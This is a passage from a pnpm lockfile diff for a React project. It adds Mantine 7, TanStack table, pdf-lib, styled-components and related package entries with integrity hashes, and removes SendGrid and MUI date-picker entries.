+ resolution: {integrity: sha512-96qygbkTjRhdkzd5HDU8fMziemN/h758/EwrFu7TlWrEP10Vw076u+Ap/sG6OT4RGPZYYoHrTlT+mkCZblWHuw==}
+ peerDependencies:
+ react: ^18.x || ^19.x
+
'@mantine/hooks@8.3.18':
resolution: {integrity: sha512-QoWr9+S8gg5050TQ06aTSxtlpGjYOpIllRbjYYXlRvZeTsUqiTbVfvQROLexu4rEaK+yy9Wwriwl9PMRgbLqPw==}
peerDependencies:
@@ -2014,6 +2053,19 @@ packages:
peerDependencies:
react: ^19.2.0
+ '@mantine/notifications@7.17.8':
+ resolution: {integrity: sha512-/YK16IZ198W6ru/IVecCtHcVveL08u2c8TbQTu/2p26LSIM9AbJhUkrU6H+AO0dgVVvmdmNdvPxcJnfq3S9TMg==}
+ peerDependencies:
+ '@mantine/core': 7.17.8
+ '@mantine/hooks': 7.17.8
+ react: ^18.x || ^19.x
+ react-dom: ^18.x || ^19.x
+
+ '@mantine/store@7.17.8':
+ resolution: {integrity: sha512-/FrB6PAVH4NEjQ1dsc9qOB+VvVlSuyjf4oOOlM9gscPuapDP/79Ryq7JkhHYfS55VWQ/YUlY24hDI2VV+VptXg==}
+ peerDependencies:
+ react: ^18.x || ^19.x
+
'@mapbox/node-pre-gyp@1.0.11':
resolution: {integrity: sha512-Yhlar6v9WQgUp/He7BdgzOz8lqMQ8sU+jkCq7Wx8Myc5YFJLbEe7lgui/V7G1qB1DJykHSGwreceSaD60Y0PUQ==}
hasBin: true
@@ -2700,6 +2752,12 @@ packages:
resolution: {integrity: sha512-tmmZ3lQxAe/k/+rNnXQRawJ4NjxO2hqiOLTHvWchtGZULp4RyFeh6aU4XdOYBFe2KE1oShQTv4AblOs2iOrNnQ==}
engines: {node: '>= 10.0.0'}
+ '@pdf-lib/standard-fonts@1.0.0':
+ resolution: {integrity: sha512-hU30BK9IUN/su0Mn9VdlVKsWBS6GyhVfqjwl1FjZN4TxP6cCw0jP2w7V3Hf5uX7M0AZJ16vey9yE0ny7Sa59ZA==}
+
+ '@pdf-lib/upng@1.0.1':
+ resolution: {integrity: sha512-dQK2FUMQtowVP00mtIksrlZhdFXQZPC+taih1q4CvPZ5vqdxR/LKBaFg0oAfzd1GlHZXXSPdQfzQnt+ViGvEIQ==}
+
'@phc/format@1.0.0':
resolution: {integrity: sha512-m7X9U6BG2+J+R1lSOdCiITLLrxm+cWlNI3HUFA92oLO77ObGNzaKdh8pMLqdZcshtkKuV84olNNXDfMc4FezBQ==}
engines: {node: '>=10'}
@@ -3756,18 +3814,6 @@ packages:
'@sec-ant/readable-stream@0.4.1':
resolution: {integrity: sha512-831qok9r2t8AlxLko40y2ebgSDhenenCatLVeW/uBtnHPyhHOvG0C7TvfgecV+wHzIm5KUICgzmVpWS+IMEAeg==}
- '@sendgrid/client@8.1.6':
- resolution: {integrity: sha512-/BHu0hqwXNHr2aLhcXU7RmmlVqrdfrbY9KpaNj00KZHlVOVoRxRVrpOCabIB+91ISXJ6+mLM9vpaVUhK6TwBWA==}
- engines: {node: '>=12.*'}
-
- '@sendgrid/helpers@8.0.0':
- resolution: {integrity: sha512-Ze7WuW2Xzy5GT5WRx+yEv89fsg/pgy3T1E3FS0QEx0/VvRmigMZ5qyVGhJz4SxomegDkzXv/i0aFPpHKN8qdAA==}
- engines: {node: '>= 12.0.0'}
-
- '@sendgrid/mail@8.1.6':
- resolution: {integrity: sha512-/ZqxUvKeEztU9drOoPC/8opEPOk+jLlB2q4+xpx6HVLq6aFu3pMpalkTpAQz8XfRfpLp8O25bh6pGPcHDCYpqg==}
- engines: {node: '>=12.*'}
-
'@sinclair/typebox@0.27.10':
resolution: {integrity: sha512-MTBk/3jGLNB2tVxv6uLlFh1iu64iYOQ2PbdOSK3NW8JZsmlaOh2q6sdtKowBhfw8QFLmYNzTW4/oK4uATIi6ZA==}
@@ -3912,6 +3958,10 @@ packages:
peerDependencies:
vite: ^5.2.0 || ^6 || ^7 || ^8
+ '@tanstack/match-sorter-utils@8.19.4':
+ resolution: {integrity: sha512-Wo1iKt2b9OT7d+YGhvEPD3DXvPv2etTusIMhMUoG7fbhmxcXCtIjJDEygy91Y2JFlwGyjqiBPRozme7UD8hoqg==}
+ engines: {node: '>=12'}
+
'@tanstack/query-core@5.101.0':
resolution: {integrity: sha512-cQetA74EB+seWySv1TTKr828TnP0u39m6LykwDXIo84SNortpDkp30TMEjkqtYCNP9c40uT/iwl6MLiufEt0Ow==}
@@ -3929,6 +3979,13 @@ packages:
peerDependencies:
react: ^18 || ^19
+ '@tanstack/react-table@8.20.5':
+ resolution: {integrity: sha512-WEHopKw3znbUZ61s9i0+i9g8drmDo6asTWbrQh8Us63DAk/M0FkmIqERew6P71HI75ksZ2Pxyuf4vvKh9rAkiA==}
+ engines: {node: '>=12'}
+ peerDependencies:
+ react: '>=16.8'
+ react-dom: '>=16.8'
+
'@tanstack/react-table@8.21.3':
resolution: {integrity: sha512-5nNMTSETP4ykGegmVkhjcS8tTLW6Vl4axfEGQN3v0zdHYbK4UfoqfPChclTrJ4EoK9QynqAu9oUf8VEmrpZ5Ww==}
engines: {node: '>=12'}
@@ -3936,10 +3993,23 @@ packages:
react: '>=16.8'
react-dom: '>=16.8'
+ '@tanstack/react-virtual@3.11.2':
+ resolution: {integrity: sha512-OuFzMXPF4+xZgx8UzJha0AieuMihhhaWG0tCqpp6tDzlFwOmNBPYMuLOtMJ1Tr4pXLHmgjcWhG6RlknY2oNTdQ==}
+ peerDependencies:
+ react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
+ react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
+
+ '@tanstack/table-core@8.20.5':
+ resolution: {integrity: sha512-P9dF7XbibHph2PFRz8gfBKEXEY/HJPOhym8CHmjF8y3q5mWpKx9xtZapXQUWCgkqvsK0R46Azuz+VaxD4Xl+Tg==}
+ engines: {node: '>=12'}
+
'@tanstack/table-core@8.21.3':
resolution: {integrity: sha512-ldZXEhOBb8Is7xLs01fR3YEc3DERiz5silj8tnGkFZytt1abEvl/GhUmCE0PMLaMPTa3Jk4HbKmRlHmu+gCftg==}
engines: {node: '>=12'}
+ '@tanstack/virtual-core@3.11.2':
+ resolution: {integrity: sha512-vTtpNt7mKCiZ1pwU9hfKPhpdVO2sVzFQsxoVBGtOSHxlrRRzYr8iQ2TlwbAcRYCcEiZ9ECAM8kBzH0v2+VzfKw==}
+
'@tinymce/tinymce-react@6.3.0':
resolution: {integrity: sha512-E++xnn0XzDzpKr40jno2Kj7umfAE6XfINZULEBBeNjTMvbACWzA6CjiR6V8eTDc9yVmdVhIPqVzV4PqD5TZ/4g==}
peerDependencies:
@@ -4174,6 +4244,13 @@ packages:
'@tria-plc/iamui-common@1.1.2':
resolution: {integrity: sha512-oKFxs7/003/UcGf0q1R7lfubvsawPxgTzx8O2Fi/6oN3oGECnc3YNkbDPoOvMrmXYOxfMExIYZmhCv+OpstWAQ==, tarball: https://npm.pkg.github.com/download/@tria-plc/iamui-common/1.1.2/01aa8b5799f0fa5a876c64ed6ebfe4b4134ccc55}
+ '@tria-plc/iamui@0.0.3':
+ resolution: {integrity: sha512-LckZh3y0HpcIGNLPGrZsF5RXpXq112A/pp8lJcWuyN486+5bAzMW7h6kySUNBon41BKSuw/iOmqJznop8jM2mA==, tarball: https://npm.pkg.github.com/download/@tria-plc/iamui/0.0.3/9a9dcbe636a1e2c734f676ab0fdef49f84a38cfb}
+ engines: {node: '>=18'}
+ peerDependencies:
+ react: ^18.3.1 || ^19.0.0
+ react-dom: ^18.3.1 || ^19.0.0
+
'@ts-morph/common@0.27.0':
resolution: {integrity: sha512-Wf29UqxWDpc+i61k3oIOzcUfQt79PIT9y/MWfAGlrkjg6lBC1hwDECLXPVJAhWjiGbfBCxZd65F/LIZF3+jeJQ==}
@@ -4279,6 +4356,10 @@ packages:
'@types/d3-timer@3.0.2':
resolution: {integrity: sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw==}
+ '@types/dompurify@3.2.0':
+ resolution: {integrity: sha512-Fgg31wv9QbLDA0SpTOXO3MaxySc4DKGLi8sna4/Utjo4r3ZRPdCt4UQee8BWr+Q5z21yifghREPJGYaEOEIACg==}
+ deprecated: This is a stub types definition. dompurify provides its own type definitions, so you do not need this installed.
+
'@types/eslint-scope@3.7.7':
resolution: {integrity: sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg==}
@@ -5507,6 +5588,12 @@ packages:
resolution: {integrity: sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==}
engines: {node: '>=10', npm: '>=6'}
+ babel-plugin-styled-components@2.3.0:
+ resolution: {integrity: sha512-nP/y6PbBqS/qtKROnJCgpGo8hYUzlBAVXN1QAjSBANL6vZiQXPQN7FYW/nUwoxY7nZhBEGm9T5tjL9gbzwulDw==}
+ peerDependencies:
+ '@babel/core': ^7.0.0
+ styled-components: '>= 2'
+
babel-preset-current-node-syntax@1.2.0:
resolution: {integrity: sha512-E/VlAEzRrsLEb2+dv8yp3bo4scof3l9nR4lrld+Iy5NyVqgVYUJnDAmunkhPMisRI32Qc4iRiz425d8vM++2fg==}
peerDependencies:
@@ -5829,6 +5916,9 @@ packages:
resolution: {integrity: sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==}
engines: {node: '>=10'}
+ camelize@1.0.1:
+ resolution: {integrity: sha512-dU+Tx2fsypxTgtLoE36npi3UqcjSSMNYfkqgmoEhtZrraP5VWq0K7FkWVTYa8eMPtnU/G2txVsfdCJTn9uzpuQ==}
+
caniuse-lite@1.0.30001797:
resolution: {integrity: sha512-l8xKG+gwAIExZGl9FrF7KUwuOmk6wbEPC9Xoy/RtnWv1XG0Q4LFlagaLpUv3Kiza3W/wm27zy0yWJEieYKAP6w==}
@@ -6263,12 +6353,19 @@ packages:
css-box-model@1.2.1:
resolution: {integrity: sha512-a7Vr4Q/kd/aw96bnJG332W9V9LkJO69JRcaCYDUqjp6/z0w6VcZjgAcTbgFxEPfBgdnAwlh3iwu+hLopa+flJw==}
+ css-color-keywords@1.0.0:
+ resolution: {integrity: sha512-FyyrDHZKEjXDpNJYvVsV960FiqQyXc/LlYmsxl2BcdMb2WPx0OGRVgTg55rPSyLSNMqP52R9r8geSp7apN3Ofg==}
+ engines: {node: '>=4'}
+
css-line-break@2.1.0:
resolution: {integrity: sha512-FHcKFCZcAha3LwfVBhCQbW2nCNbkZXn7KVUJcsT5/P8YmfsVja0FMPJr0B903j/E69HUphKiV9iQArX8SDYA4w==}
css-select@5.2.2:
resolution: {integrity: sha512-TizTzUddG/xYLA3NXodFM0fSbNizXjOKhqiQQwvhlspadZokn1KDy0NZFS0wuEubIYAV5/c1/lAr0TaaFXEXzw==}
+ css-to-react-native@3.2.0:
+ resolution: {integrity: sha512-e8RKaLXMOFii+02mOlqwjbD00KSEKqblnpO9e++1aXS1fPQOpS1YoqdVHBqPjHNoxeF2mimzVqawm2KCbEdtHQ==}
+
css-tree@1.1.3:
resolution: {integrity: sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==}
engines: {node: '>=8.0.0'}
@@ -9119,6 +9216,19 @@ packages:
makeerror@1.0.12:
resolution: {integrity: sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==}
+ mantine-react-table@2.0.0-beta.9:
+ resolution: {integrity: sha512-ZdfcwebWaPERoDvAuk43VYcBCzamohARVclnbuepT0PHZ0wRcDPMBR+zgaocL+pFy8EXUGwvWTOKNh25ITpjNQ==}
+ engines: {node: '>=16'}
+ peerDependencies:
+ '@mantine/core': ^7.9
+ '@mantine/dates': ^7.9
+ '@mantine/hooks': ^7.9
+ '@tabler/icons-react': '>=2.23.0'
+ clsx: '>=2'
+ dayjs: '>=1.11'
+ react: '>=18.0'
+ react-dom: '>=18.0'
+
map-cache@0.2.2:
resolution: {integrity: sha512-8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg==}
engines: {node: '>=0.10.0'}
@@ -9927,6 +10037,9 @@ packages:
resolution: {integrity: sha512-BT6eelPB1EyGHo8pC0o9Bl6k6SYVhKO1jEbd3lcTrtr7XHdjP8BW1YpfCV3G9Kwkxgattk+S5q2/RvuttCsS1g==}
engines: {node: '>= 0.10'}
+ pdf-lib@1.17.1:
+ resolution: {integrity: sha512-V/mpyJAoTsN4cnP31vc0wfNA1+p20evqqnap0KLoRUN0Yk/p3wN52DOEsL4oBFcLdb76hlpKPtzJIgo67j/XLw==}
+
pdfjs-dist@2.16.105:
resolution: {integrity: sha512-J4dn41spsAwUxCpEoVf6GVoz908IAA3mYiLmNxg8J9kfRXc2jxpbUepcP0ocp0alVNLFthTAM8DZ1RaHh8sU0A==}
peerDependencies:
@@ -10371,12 +10484,24 @@ packages:
peerDependencies:
react: '>= 16.3.0'
+ react-css-nocode-editor@1.0.13:
+ resolution: {integrity: sha512-RV1ZbG8aXORiQ5mDKZbKCHStCJPamp/n5Rb34q22Ug2xzMDW4DjjqO23+Qo/Y+LAoyyrFV/+lI1qq4+/O5nf2A==}
+ peerDependencies:
+ react: '>=16.8.0 <= 18.1'
+ react-dom: '>=16.8.0 <= 18.1'
+
react-datepicker@8.10.0:
resolution: {integrity: sha512-JIXuA+g+qP3c4MVJpx24o7n1gnv3WV/8A/D6964HucY1FlSEc30+ITPNUfbKZXYHl5rruCtxYCwi2lzn7gaz7g==}
peerDependencies:
react: ^16.9.0 || ^17 || ^18 || ^19 || ^19.0.0-rc
react-dom: ^16.9.0 || ^17 || ^18 || ^19 || ^19.0.0-rc
+ react-day-picker@8.10.2:
+ resolution: {integrity: sha512-LK68OTbHB3oJNhl9cA0qVizzp3o26w61YSjAFkYi67N86iro32wx86kSNeFU/hq+gI8m1yzWhnomMLfZ041RzQ==}
+ peerDependencies:
+ date-fns: ^2.28.0 || ^3.0.0
+ react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
+
react-day-picker@9.14.0:
resolution: {integrity: sha512-tBaoDWjPwe0M5pGrum4H0SR6Lyk+BO9oHnp9JbKpGKW2mlraNPgP9BMfsg5pWpwrssARmeqk7YBl2oXutZTaHA==}
engines: {node: '>=18'}
@@ -10750,6 +10875,9 @@ packages:
engines: {node: '>= 0.10.0'}
hasBin: true
+ remove-accents@0.5.0:
+ resolution: {integrity: sha512-8g3/Otx1eJaVD12e31UbJj1YzdtVvzH85HV7t+9MJYk/u3XmkOUJ5Ys9wQrf9PCPK8+xn4ymzqYCiZl6QWKn+A==}
+
remove-trailing-separator@1.1.0:
resolution: {integrity: sha512-/hS+Y0u3aOfIETiaiirUFwDBDzmXPvO+jAfKTitUngIPzdKc6Z0LoFjM/CK5PL4C+eKwHohlHAb6H0VFfmmUsw==}
@@ -10881,6 +11009,19 @@ packages:
resolution: {integrity: sha512-5Di9UC0+8h1L6ZD2d7awM7E/T4uA1fJRlx6zk/NvdCCVEoAnFqvHmCuNeIKoCeIixBX/q8uM+6ycDvF8woqosA==}
engines: {node: '>= 0.8'}
+ rollup-plugin-visualizer@7.0.1:
+ resolution: {integrity: sha512-UJUT4+1Ho4OcWmPYU3sYXgUqI8B8Ayfe06MX7y0qCJ1K8aGoKtR/NDd/2nZqM7ADkrzny+I99Ul7GgyoiVNAgg==}
+ engines: {node: '>=22'}
+ hasBin: true
+ peerDependencies:
+ rolldown: 1.x || ^1.0.0-beta || ^1.0.0-rc
+ rollup: 2.x || 3.x || 4.x
+ peerDependenciesMeta:
+ rolldown:
+ optional: true
+ rollup:
+ optional: true
+
rollup@4.61.1:
resolution: {integrity: sha512-I4KW6iuRpuu2uHBLraZ1wNZe0DP7lnRha+VJ9tNaYVaVgKhW0aI3h4RYnoRPeql0flHm/Co55b7snEDcOfOJrA==}
engines: {node: '>=18.0.0', npm: '>=8.0.0'}
@@ -11061,6 +11202,9 @@ packages:
resolution: {integrity: sha512-84IJhUsK0xqSCRJx3QxyZe2NpUXj2Nwk8Vc8Ow/tCOND3yz4CT6uU4655vqicNXhzG9Q1cyUt+TBl2SiCJwNgg==}
hasBin: true
+ shallowequal@1.1.0:
+ resolution: {integrity: sha512-y0m1JoUZSlPAjXVtPPW70aZWfIL/dSP7AFkRnniLCrK/8MDKog3TySTBmckD+RObVxH0v4Tox67+F14PdED2oQ==}
+
shebang-command@1.2.0:
resolution: {integrity: sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==}
engines: {node: '>=0.10.0'}
@@ -11447,6 +11591,14 @@ packages:
style-object-to-css-string@1.1.3:
resolution: {integrity: sha512-bISQoUsir/qGfo7vY8rw00ia9nnyE1jvYt3zZ2jhdkcXZ6dAEi74inMzQ6On57vFI+I4Fck6wOv5UI9BEwJDgw==}
+ styled-components@5.3.11:
+ resolution: {integrity: sha512-uuzIIfnVkagcVHv9nE0VPlHPSCmXIUGKfJ42LNjxCCTDTL5sgnJ8Z7GZBq0EnLYGln77tPpEpExt2+qa+cZqSw==}
+ engines: {node: '>=10'}
+ peerDependencies:
+ react: '>= 16.8.0'
+ react-dom: '>= 16.8.0'
+ react-is: '>= 16.8.0'
+
styled-jsx@5.1.1:
resolution: {integrity: sha512-pW7uC1l4mBZ8ugbiZrcIsiIvVx1UmTfw7UkC3Um2tmfUq9Bhk8IiyEIPl6F8agHgjzku6j0xQEZbfA5uSgSaCw==}
engines: {node: '>= 12.0.0'}
@@ -11890,6 +12042,9 @@ packages:
resolution: {integrity: sha512-NoZ4roiN7LnbKn9QqE1amc9DJfzvZXxF4xDavcOWt1BPkdx+m+0gJuPM+S0vCe7zTJMYUP0R8pO2XMr+Y8oLIg==}
engines: {node: '>=6'}
+ tslib@1.14.1:
+ resolution: {integrity: sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==}
+
tslib@2.8.1:
resolution: {integrity: sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==}
@@ -12915,7 +13070,7 @@ snapshots:
'@babel/helpers': 7.29.7
'@babel/parser': 7.29.7
'@babel/template': 7.29.7
- '@babel/traverse': 7.29.7
+ '@babel/traverse': 7.29.7(supports-color@5.5.0)
'@babel/types': 7.29.7
'@jridgewell/remapping': 2.3.5
convert-source-map: 2.0.0
@@ -12954,7 +13109,7 @@ snapshots:
'@babel/helper-optimise-call-expression': 7.29.7
'@babel/helper-replace-supers': 7.29.7(@babel/core@7.29.7)
'@babel/helper-skip-transparent-expression-wrappers': 7.29.7
- '@babel/traverse': 7.29.7
+ '@babel/traverse': 7.29.7(supports-color@5.5.0)
semver: 6.3.1
transitivePeerDependencies:
- supports-color
@@ -12963,14 +13118,14 @@ snapshots:
'@babel/helper-member-expression-to-functions@7.29.7':
dependencies:
- '@babel/traverse': 7.29.7
+ '@babel/traverse': 7.29.7(supports-color@5.5.0)
'@babel/types': 7.29.7
transitivePeerDependencies:
- supports-color
- '@babel/helper-module-imports@7.29.7':
+ '@babel/helper-module-imports@7.29.7(supports-color@5.5.0)':
dependencies:
- '@babel/traverse': 7.29.7
+ '@babel/traverse': 7.29.7(supports-color@5.5.0)
'@babel/types': 7.29.7
transitivePeerDependencies:
- supports-color
@@ -12978,9 +13133,9 @@ snapshots:
'@babel/helper-module-transforms@7.29.7(@babel/core@7.29.7)':
dependencies:
'@babel/core': 7.29.7
- '@babel/helper-module-imports': 7.29.7
+ '@babel/helper-module-imports': 7.29.7(supports-color@5.5.0)
'@babel/helper-validator-identifier': 7.29.7
- '@babel/traverse': 7.29.7
+ '@babel/traverse': 7.29.7(supports-color@5.5.0)
transitivePeerDependencies:
- supports-color
@@ -12995,13 +13150,13 @@ snapshots:
'@babel/core': 7.29.7
'@babel/helper-member-expression-to-functions': 7.29.7
'@babel/helper-optimise-call-expression': 7.29.7
- '@babel/traverse': 7.29.7
+ '@babel/traverse': 7.29.7(supports-color@5.5.0)
transitivePeerDependencies:
- supports-color
'@babel/helper-skip-transparent-expression-wrappers@7.29.7':
dependencies:
- '@babel/traverse': 7.29.7
+ '@babel/traverse': 7.29.7(supports-color@5.5.0)
'@babel/types': 7.29.7
transitivePeerDependencies:
- supports-color
@@ -13154,7 +13309,7 @@ snapshots:
'@babel/parser': 7.29.7
'@babel/types': 7.29.7
- '@babel/traverse@7.29.7':
+ '@babel/traverse@7.29.7(supports-color@5.5.0)':
dependencies:
'@babel/code-frame': 7.29.7
'@babel/generator': 7.29.7
@@ -13363,7 +13518,7 @@ snapshots:
'@emotion/babel-plugin@11.13.5':
dependencies:
- '@babel/helper-module-imports': 7.29.7
+ '@babel/helper-module-imports': 7.29.7(supports-color@5.5.0)
'@babel/runtime': 7.29.7
'@emotion/hash': 0.9.2
'@emotion/memoize': 0.9.0
@@ -13434,8 +13589,12 @@ snapshots:
transitivePeerDependencies:
- supports-color
+ '@emotion/stylis@0.8.5': {}
+
'@emotion/unitless@0.10.0': {}
+ '@emotion/unitless@0.7.5': {}
+
'@emotion/use-insertion-effect-with-fallbacks@1.2.0(react@19.2.6)':
dependencies:
react: 19.2.6
@@ -13578,6 +13737,14 @@ snapshots:
react: 19.2.6
react-dom: 19.2.6(react@19.2.6)
+ '@floating-ui/react@0.26.28(react-dom@19.2.6(react@19.2.6))(react@19.2.6)':
+ dependencies:
+ '@floating-ui/react-dom': 2.1.8(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+ '@floating-ui/utils': 0.2.11
+ react: 19.2.6
+ react-dom: 19.2.6(react@19.2.6)
+ tabbable: 6.4.0
+
'@floating-ui/react@0.27.19(react-dom@18.3.1(react@18.3.1))(react@18.3.1)':
dependencies:
'@floating-ui/react-dom': 2.1.8(react-dom@18.3.1(react@18.3.1))(react@18.3.1)
@@ -14064,6 +14231,28 @@ snapshots:
'@lukeed/csprng@1.1.0': {}
+ '@mantine/charts@7.17.8(@mantine/core@7.17.8(@mantine/hooks@7.17.8(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mantine/hooks@7.17.8(react@19.2.6))(react-dom@19.2.6(react@19.2.6))(react@19.2.6)(recharts@3.8.1(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react-is@19.2.7)(react@19.2.6)(redux@5.0.1))':
+ dependencies:
+ '@mantine/core': 7.17.8(@mantine/hooks@7.17.8(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+ '@mantine/hooks': 7.17.8(react@19.2.6)
+ react: 19.2.6
+ react-dom: 19.2.6(react@19.2.6)
+ recharts: 3.8.1(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react-is@19.2.7)(react@19.2.6)(redux@5.0.1)
+
+ '@mantine/core@7.17.8(@mantine/hooks@7.17.8(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)':
+ dependencies:
+ '@floating-ui/react': 0.26.28(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+ '@mantine/hooks': 7.17.8(react@19.2.6)
+ clsx: 2.1.1
+ react: 19.2.6
+ react-dom: 19.2.6(react@19.2.6)
+ react-number-format: 5.4.5(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+ react-remove-scroll: 2.7.2(@types/react@18.3.31)(react@19.2.6)
+ react-textarea-autosize: 8.5.9(@types/react@18.3.31)(react@19.2.6)
+ type-fest: 4.41.0
+ transitivePeerDependencies:
+ - '@types/react'
+
'@mantine/core@8.3.18(@mantine/hooks@8.3.18(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)':
dependencies:
'@floating-ui/react': 0.27.19(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
@@ -14104,6 +14293,15 @@ snapshots:
transitivePeerDependencies:
- '@types/react'
+ '@mantine/dates@7.17.8(@mantine/core@9.3.0(@mantine/hooks@9.3.0(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mantine/hooks@9.3.0(react@19.2.6))(dayjs@1.11.21)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)':
+ dependencies:
+ '@mantine/core': 9.3.0(@mantine/hooks@9.3.0(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+ '@mantine/hooks': 9.3.0(react@19.2.6)
+ clsx: 2.1.1
+ dayjs: 1.11.21
+ react: 19.2.6
+ react-dom: 19.2.6(react@19.2.6)
+
'@mantine/dates@8.3.18(@mantine/core@8.3.18(@mantine/hooks@8.3.18(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mantine/hooks@8.3.18(react@19.2.6))(dayjs@1.11.21)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)':
dependencies:
'@mantine/core': 8.3.18(@mantine/hooks@8.3.18(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
@@ -14113,6 +14311,10 @@ snapshots:
react: 19.2.6
react-dom: 19.2.6(react@19.2.6)
+ '@mantine/hooks@7.17.8(react@19.2.6)':
+ dependencies:
+ react: 19.2.6
+
'@mantine/hooks@8.3.18(react@19.2.6)':
dependencies:
react: 19.2.6
@@ -14125,6 +14327,19 @@ snapshots:
dependencies:
react: 19.2.6
+ '@mantine/notifications@7.17.8(@mantine/core@7.17.8(@mantine/hooks@7.17.8(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mantine/hooks@7.17.8(react@19.2.6))(react-dom@19.2.6(react@19.2.6))(react@19.2.6)':
+ dependencies:
+ '@mantine/core': 7.17.8(@mantine/hooks@7.17.8(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+ '@mantine/hooks': 7.17.8(react@19.2.6)
+ '@mantine/store': 7.17.8(react@19.2.6)
+ react: 19.2.6
+ react-dom: 19.2.6(react@19.2.6)
+ react-transition-group: 4.4.5(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
+
+ '@mantine/store@7.17.8(react@19.2.6)':
+ dependencies:
+ react: 19.2.6
+
'@mapbox/node-pre-gyp@1.0.11':
dependencies:
detect-libc: 2.1.2
@@ -14308,29 +14523,6 @@ snapshots:
transitivePeerDependencies:
- '@types/react'
- '@mui/x-date-pickers@6.20.2(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@emotion/styled@11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@mui/material@5.18.0(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@emotion/styled@11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6))(@mui/system@5.18.0(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@emotion/styled@11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(date-fns@4.4.0)(dayjs@1.11.21)(luxon@3.7.2)(moment@2.30.1)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)':
- dependencies:
- '@babel/runtime': 7.29.7
- '@mui/base': 5.0.0-beta.70(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
- '@mui/material': 5.18.0(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@emotion/styled@11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
- '@mui/system': 5.18.0(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@emotion/styled@11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6)
- '@mui/utils': 5.17.1(@types/react@18.3.31)(react@19.2.6)
- '@types/react-transition-group': 4.4.12(@types/react@18.3.31)
- clsx: 2.1.1
- prop-types: 15.8.1
- react: 19.2.6
- react-dom: 19.2.6(react@19.2.6)
- react-transition-group: 4.4.5(react-dom@19.2.6(react@19.2.6))(react@19.2.6)
- optionalDependencies:
- '@emotion/react': 11.14.0(@types/react@18.3.31)(react@19.2.6)
- '@emotion/styled': 11.14.1(@emotion/react@11.14.0(@types/react@18.3.31)(react@19.2.6))(@types/react@18.3.31)(react@19.2.6)
- date-fns: 4.4.0
- dayjs: 1.11.21
- luxon: 3.7.2
- moment: 2.30.1
- transitivePeerDependencies:
